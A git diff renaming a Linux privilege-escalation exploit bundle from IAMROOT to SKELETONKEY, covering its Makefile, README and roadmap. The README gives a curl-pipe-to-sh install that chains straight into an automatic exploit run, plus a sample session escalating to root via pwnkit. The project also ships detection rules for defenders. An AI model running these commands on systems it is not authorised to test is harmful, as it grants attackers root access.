TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||||
|
|
||||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS)
|
# All module objects in one var so both the main binary and the test
|
||||||
|
# binary can re-use the list without duplicating the long enumeration.
|
||||||
|
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||||
|
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
|
||||||
|
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||||
|
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||||
|
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||||
|
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
||||||
|
|
||||||
.PHONY: all clean debug static help
|
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
|
||||||
|
|
||||||
|
# Tests — `make test` builds and runs the detect() unit-test harness.
|
||||||
|
# Links against the same module objects as the main binary minus the
|
||||||
|
# top-level dispatcher (which provides main(); the test has its own).
|
||||||
|
TEST_DIR := tests
|
||||||
|
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||||
|
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||||
|
TEST_BIN := skeletonkey-test
|
||||||
|
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
|
||||||
|
|
||||||
|
.PHONY: all clean debug static help test
|
||||||
|
|
||||||
all: $(BIN)
|
all: $(BIN)
|
||||||
|
|
||||||
$(BIN): $(ALL_OBJS)
|
$(BIN): $(ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||||
|
|
||||||
|
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||||
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||||
|
|
||||||
|
test: $(TEST_BIN)
|
||||||
|
@echo "[*] running test suite ($(TEST_BIN))"
|
||||||
|
./$(TEST_BIN)
|
||||||
|
|
||||||
# Generic compile: any .c → corresponding .o under build/
|
# Generic compile: any .c → corresponding .o under build/
|
||||||
$(BUILD)/%.o: %.c
|
$(BUILD)/%.o: %.c
|
||||||
@@ -130,13 +223,14 @@ static: LDFLAGS += -static
|
|||||||
static: clean $(BIN)
|
static: clean $(BIN)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -rf $(BUILD) $(BIN)
|
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
|
||||||
|
|
||||||
help:
|
help:
|
||||||
@echo "Targets:"
|
@echo "Targets:"
|
||||||
@echo " make build optimized iamroot binary"
|
@echo " make build optimized skeletonkey binary"
|
||||||
@echo " make debug build with -O0 -g3"
|
@echo " make debug build with -O0 -g3"
|
||||||
@echo " make static build a fully static binary"
|
@echo " make static build a fully static binary"
|
||||||
|
@echo " make test build + run the detect() unit test suite"
|
||||||
@echo " make clean remove build artifacts"
|
@echo " make clean remove build artifacts"
|
||||||
@echo ""
|
@echo ""
|
||||||
@echo "Per-module (legacy) — not built by default:"
|
@echo "Per-module (legacy) — not built by default:"
|
||||||
|
|||||||
@@ -1,163 +1,224 @@
|
|||||||
# IAMROOT
|
# SKELETONKEY
|
||||||
|
|
||||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||||
> bundled with their detection signatures, patch status, and version
|
[](LICENSE)
|
||||||
> ranges. Run it on a system you own (or are authorized to test) and
|
[](CVES.md)
|
||||||
> it tells you which historical and recent CVEs that system is still
|
[](#)
|
||||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
|
||||||
|
|
||||||
```
|
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
|
||||||
██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗
|
> (+3 ported-but-unverified). Detection rules in the box. One command
|
||||||
██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
|
> picks the safest one and runs it.**
|
||||||
██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║
|
|
||||||
██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║
|
```bash
|
||||||
██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝
|
&& skeletonkey --auto --i-know
|
||||||
```
|
```
|
||||||
|
|
||||||
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
|
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
|
||||||
> tool. By using it you assert you have explicit authorization to test
|
> using it you assert you have explicit authorization to test the
|
||||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||||
|
|
||||||
|
## Why use this
|
||||||
|
|
||||||
|
Most Linux privesc tooling is broken in one of three ways:
|
||||||
|
|
||||||
|
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
|
||||||
|
work, run nothing
|
||||||
|
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
|
||||||
|
no detection signatures and went stale years ago
|
||||||
|
- **Per-CVE PoC repos** — one author, one distro, abandoned within
|
||||||
|
months
|
||||||
|
|
||||||
|
SKELETONKEY is one binary, actively maintained, with detection rules
|
||||||
|
for every CVE in the bundle — same project for red and blue teams.
|
||||||
|
|
||||||
|
## Who it's for
|
||||||
|
|
||||||
|
| Audience | What you get |
|
||||||
|
|---|---|
|
||||||
|
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
|
||||||
|
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
|
||||||
|
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
|
||||||
|
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
|
||||||
|
|
||||||
|
## Corpus at a glance
|
||||||
|
|
||||||
|
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
|
||||||
|
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
|
||||||
|
`pack2theroot` — see note below):
|
||||||
|
|
||||||
|
| Tier | Count | What it means |
|
||||||
|
|---|---|---|
|
||||||
|
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||||
|
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||||
|
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
|
||||||
|
|
||||||
|
**🟢 Modules that land root on a vulnerable host:**
|
||||||
|
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||||
|
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||||
|
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||||
|
(KASLR leak primitive)
|
||||||
|
|
||||||
|
**🟡 Modules with opt-in `--full-chain`:**
|
||||||
|
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||||
|
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||||
|
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||||
|
|
||||||
|
**⚪ Ported-but-unverified (not in the counts above):**
|
||||||
|
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
|
||||||
|
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
|
||||||
|
bodies not yet VM-validated**. All three have version-pinned `detect()`:
|
||||||
|
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
|
||||||
|
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
|
||||||
|
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
|
||||||
|
(commit `76cfb675`), version read from the daemon over D-Bus.
|
||||||
|
`--auto` auto-enables `--active` to confirm empirically on top.
|
||||||
|
|
||||||
|
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||||
|
detection status.
|
||||||
|
|
||||||
## Quickstart
|
## Quickstart
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
# Install (x86_64 / arm64; checksum-verified)
|
||||||
curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||||
```
|
|
||||||
|
|
||||||
**iamroot runs as a normal unprivileged user** — that's the whole
|
|
||||||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
|
||||||
work without `sudo`. Only `--mitigate` and rule-file installation
|
|
||||||
write to root-owned paths.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# What's this box vulnerable to? (no sudo)
|
# What's this box vulnerable to? (no sudo)
|
||||||
iamroot --scan
|
skeletonkey --scan
|
||||||
|
|
||||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
# Pick the safest LPE and run it
|
||||||
iamroot --audit
|
skeletonkey --auto --i-know
|
||||||
|
|
||||||
# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
|
||||||
iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
skeletonkey --detect-rules --format=auditd \
|
||||||
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
|
||||||
sudo iamroot --mitigate copy_fail
|
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||||
|
--ssh-key ~/.ssh/id_rsa hosts.txt
|
||||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
|
||||||
./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
|
||||||
|
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
|
||||||
|
`sudo`. Only `--mitigate` and rule-file installation write root-owned
|
||||||
|
paths.
|
||||||
|
|
||||||
### Example: unprivileged → root
|
### Example: unprivileged → root
|
||||||
|
|
||||||
```text
|
```text
|
||||||
$ id
|
$ id
|
||||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||||
|
|
||||||
$ iamroot --scan
|
$ skeletonkey --auto --i-know
|
||||||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
[*] auto: scanning 31 modules for vulnerabilities...
|
||||||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||||
|
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||||
|
[ ] auto: copy_fail patched or not applicable
|
||||||
|
[ ] auto: nf_tables precondition not met
|
||||||
|
...
|
||||||
|
|
||||||
$ iamroot --exploit dirty_pipe --i-know
|
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
|
||||||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
|
||||||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
[*] auto: launching --exploit pwnkit...
|
||||||
[+] dirty_pipe: spawning su root
|
|
||||||
|
[+] pwnkit: writing gconv-modules cache + payload.so...
|
||||||
|
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||||
# id
|
# id
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
```
|
```
|
||||||
|
|
||||||
`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for
|
The safety ranking goes: **structural escapes** (no kernel state
|
||||||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
touched) → **page-cache writes** → **userspace cred-races** →
|
||||||
for the blue-team deployment guide.
|
**kernel primitives** → **kernel races** (least predictable). The
|
||||||
|
goal is to never crash a production box looking for root.
|
||||||
|
|
||||||
## What this is
|
## How it works
|
||||||
|
|
||||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||||
deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
|
Modules export a standard interface (`detect / exploit / mitigate /
|
||||||
is empirically verified to work on the kernels it claims to target,
|
cleanup`) plus metadata (kernel range, detection rule text). The
|
||||||
CI-tested across a distro matrix, and ships with the detection
|
top-level binary dispatches per command:
|
||||||
signatures defenders need to spot it in their environment.
|
|
||||||
|
|
||||||
The same binary covers offense and defense:
|
- `--scan` walks every module's `detect()` against the running host
|
||||||
|
- `--exploit <name> --i-know` runs the named module's exploit (the
|
||||||
|
`--i-know` flag is the authorization gate)
|
||||||
|
- `--auto --i-know` does the scan, ranks by safety, runs the safest
|
||||||
|
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
|
||||||
|
embedded rule corpus
|
||||||
|
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
|
||||||
|
mitigations (module-dependent — most kernel modules say "upgrade")
|
||||||
|
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
|
||||||
|
emits a ready-to-paste C entry for the `--full-chain` offset table
|
||||||
|
|
||||||
- `iamroot --scan` — fingerprint the host, report which bundled CVEs
|
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||||
apply, and which are blocked by patches/config/LSM
|
module-loader design.
|
||||||
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
|
|
||||||
authorization gate)
|
## The verified-vs-claimed bar
|
||||||
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
|
|
||||||
every bundled CVE so blue teams can drop them into their tooling
|
Most public PoC repos hardcode offsets for one kernel build and
|
||||||
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
|
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
offsets. The shared `--full-chain` finisher only returns
|
||||||
|
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
|
||||||
|
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
|
||||||
|
populate the offset table once per target kernel via
|
||||||
|
`skeletonkey --dump-offsets` and either set env vars or upstream the
|
||||||
|
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
|
||||||
|
|
||||||
|
## Build from source
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/KaraZajac/SKELETONKEY.git
|
||||||
|
cd SKELETONKEY
|
||||||
|
make
|
||||||
|
./skeletonkey --version
|
||||||
|
```
|
||||||
|
|
||||||
|
Builds clean with gcc or clang on any modern Linux. macOS dev builds
|
||||||
|
also compile (modules with Linux-only headers stub out gracefully).
|
||||||
|
|
||||||
## Status
|
## Status
|
||||||
|
|
||||||
**Active — v0.2.0 cut 2026-05-16.** Corpus covers **20 modules**
|
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
|
||||||
across the 2016 → 2026 LPE timeline:
|
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
|
||||||
|
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
|
||||||
|
patched hosts.
|
||||||
|
|
||||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
Reliability + accuracy work in v0.6.0:
|
||||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
|
||||||
- 🟡 **7 modules fire the kernel primitive** by default and refuse to
|
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
|
||||||
claim root without empirical confirmation. Pass `--full-chain` to
|
tests over mocked host fingerprints; runs as a non-root user in CI.
|
||||||
engage the shared `modprobe_path` finisher and attempt root pop —
|
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
|
||||||
requires kernel offsets via env vars / `/proc/kallsyms` /
|
fork-isolated detect + exploit so a crashing module can't tear down
|
||||||
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
the dispatcher, structured per-module verdict table, scan summary.
|
||||||
Modules: af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
|
- `--dry-run` flag (preview without firing; no `--i-know` needed).
|
||||||
netfilter_xtcompat, stackrot.
|
- Pinned mainline fix commits for the 3 ported modules — `detect()`
|
||||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
is version-pinned, not just precondition-only.
|
||||||
are exported via `iamroot --detect-rules --format=…`.
|
|
||||||
|
|
||||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
Empirical end-to-end validation on a vulnerable-target VM matrix is
|
||||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
the next roadmap item; until then, the corpus is best understood as
|
||||||
|
"compiles + detects + structurally correct + honest on failure" —
|
||||||
|
and the three ported modules have not been run against a vulnerable
|
||||||
|
target at all.
|
||||||
|
|
||||||
## Why this exists
|
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||||
|
infrastructure work.
|
||||||
|
|
||||||
The Linux kernel privilege-escalation space is fragmented:
|
## Contributing
|
||||||
|
|
||||||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||||
exploits, don't run them
|
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||||
stale, no CI, no defensive signatures
|
|
||||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
|
||||||
within months of release, often only one distro
|
|
||||||
|
|
||||||
IAMROOT's bet is that there's room for a single curated bundle that
|
|
||||||
(1) actively maintains a small set of high-quality exploits across a
|
|
||||||
multi-distro matrix, and (2) ships detection rules alongside each
|
|
||||||
exploit so the same project serves both red and blue teams.
|
|
||||||
|
|
||||||
## Architecture
|
|
||||||
|
|
||||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
|
||||||
Modules export a standard interface: `detect()`, `exploit()`,
|
|
||||||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
|
||||||
ranges, distro coverage, and CI test matrix.
|
|
||||||
|
|
||||||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
|
||||||
fingerprinting, common utilities) lives in `core/`.
|
|
||||||
|
|
||||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
|
||||||
module-loader design and how to add a new CVE.
|
|
||||||
|
|
||||||
## Build & run
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make # build all modules
|
|
||||||
./iamroot --scan # what's this box vulnerable to? (no sudo)
|
|
||||||
./iamroot --scan --json # machine-readable output for CI/SOC pipelines
|
|
||||||
./iamroot --detect-rules --format=sigma > rules.yml
|
|
||||||
./iamroot --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Acknowledgments
|
## Acknowledgments
|
||||||
|
|
||||||
Each module credits the original CVE reporter and PoC author in its
|
Each module credits the original CVE reporter and PoC author in its
|
||||||
`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
|
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
|
||||||
research credit belongs to the people who found the bugs.
|
the research credit belongs to the people who found the bugs.
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
|
|||||||
+107
-23
@@ -15,18 +15,18 @@ commitments.
|
|||||||
|
|
||||||
## Phase 1 — Make the bundling real (DONE 2026-05-16)
|
## Phase 1 — Make the bundling real (DONE 2026-05-16)
|
||||||
|
|
||||||
- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
|
- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
|
||||||
registry, route to module's detect/exploit
|
registry, route to module's detect/exploit
|
||||||
- [x] Module interface header (`core/module.h`) — standard
|
- [x] Module interface header (`core/module.h`) — standard
|
||||||
`iamroot_module` struct + `iamroot_result_t` (numerically
|
`skeletonkey_module` struct + `skeletonkey_result_t` (numerically
|
||||||
aligned with copy_fail_family's `df_result_t` for zero-cost
|
aligned with copy_fail_family's `df_result_t` for zero-cost
|
||||||
bridging)
|
bridging)
|
||||||
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
|
- [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
|
||||||
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
|
- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
|
||||||
exposing 5 modules
|
exposing 5 modules
|
||||||
- [x] Top-level `Makefile` that builds all modules into one binary
|
- [x] Top-level `Makefile` that builds all modules into one binary
|
||||||
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
|
- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
|
||||||
`iamroot --list` prints the module inventory
|
`skeletonkey --list` prints the module inventory
|
||||||
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
|
- [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
|
||||||
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
|
`exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
|
||||||
across families). Phase 1 keeps them inside copy_fail_family/src/
|
across families). Phase 1 keeps them inside copy_fail_family/src/
|
||||||
@@ -35,7 +35,7 @@ commitments.
|
|||||||
|
|
||||||
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
|
## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)
|
||||||
|
|
||||||
Public PoC, well-understood, useful for completeness — IAMROOT
|
Public PoC, well-understood, useful for completeness — SKELETONKEY
|
||||||
without Dirty Pipe is incomplete as a "historical bundle." Affects
|
without Dirty Pipe is incomplete as a "historical bundle." Affects
|
||||||
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
|
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
|
||||||
deployments (worth bundling — many production boxes still run
|
deployments (worth bundling — many production boxes still run
|
||||||
@@ -49,7 +49,7 @@ these).
|
|||||||
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
|
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
|
||||||
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
|
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
|
||||||
watches) and `sigma.yml` (non-root modification of sensitive files)
|
watches) and `sigma.yml` (non-root modification of sensitive files)
|
||||||
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
|
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
|
||||||
kernel 6.12.86 → correctly reports OK (patched).
|
kernel 6.12.86 → correctly reports OK (patched).
|
||||||
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
|
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
|
||||||
passwd-UID and page-cache-revert helpers in the module (~80 lines).
|
passwd-UID and page-cache-revert helpers in the module (~80 lines).
|
||||||
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
|
|||||||
|
|
||||||
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
|
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
|
||||||
- [x] Exposed as a library helper: other modules can call
|
- [x] Exposed as a library helper: other modules can call
|
||||||
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
|
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
|
||||||
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
|
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
|
||||||
--i-know` produces a kbase leak. Verified on kctf-mgr:
|
--i-know` produces a kbase leak. Verified on kctf-mgr:
|
||||||
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
|
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
|
||||||
- [x] `entry_SYSCALL_64` slot offset configurable via
|
- [x] `entry_SYSCALL_64` slot offset configurable via
|
||||||
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||||
Future enhancement: auto-detect via /boot/System.map or
|
Future enhancement: auto-detect via /boot/System.map or
|
||||||
/proc/kallsyms if accessible.
|
/proc/kallsyms if accessible.
|
||||||
|
|
||||||
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
|
|||||||
|
|
||||||
## Phase 5 — Detection signature export (DONE 2026-05-16)
|
## Phase 5 — Detection signature export (DONE 2026-05-16)
|
||||||
|
|
||||||
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
|
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
|
||||||
across all modules (deduped — family-shared rules emit once)
|
across all modules (deduped — family-shared rules emit once)
|
||||||
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
|
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
|
||||||
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
|
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
|
||||||
strings can be added when authors ship them. Currently no module
|
strings can be added when authors ship them. Currently no module
|
||||||
ships YARA or Falco rules (skipped cleanly).
|
ships YARA or Falco rules (skipped cleanly).
|
||||||
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
|
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
|
||||||
`detect_yara`, `detect_falco` fields — each NULL or pointer to
|
`detect_yara`, `detect_falco` fields — each NULL or pointer to
|
||||||
embedded C string. Self-contained binary, no data-dir install needed.
|
embedded C string. Self-contained binary, no data-dir install needed.
|
||||||
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
|
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
|
||||||
|
|
||||||
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
|
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
|
||||||
|
|
||||||
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
|
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
|
||||||
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
|
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
|
||||||
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
|
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
|
||||||
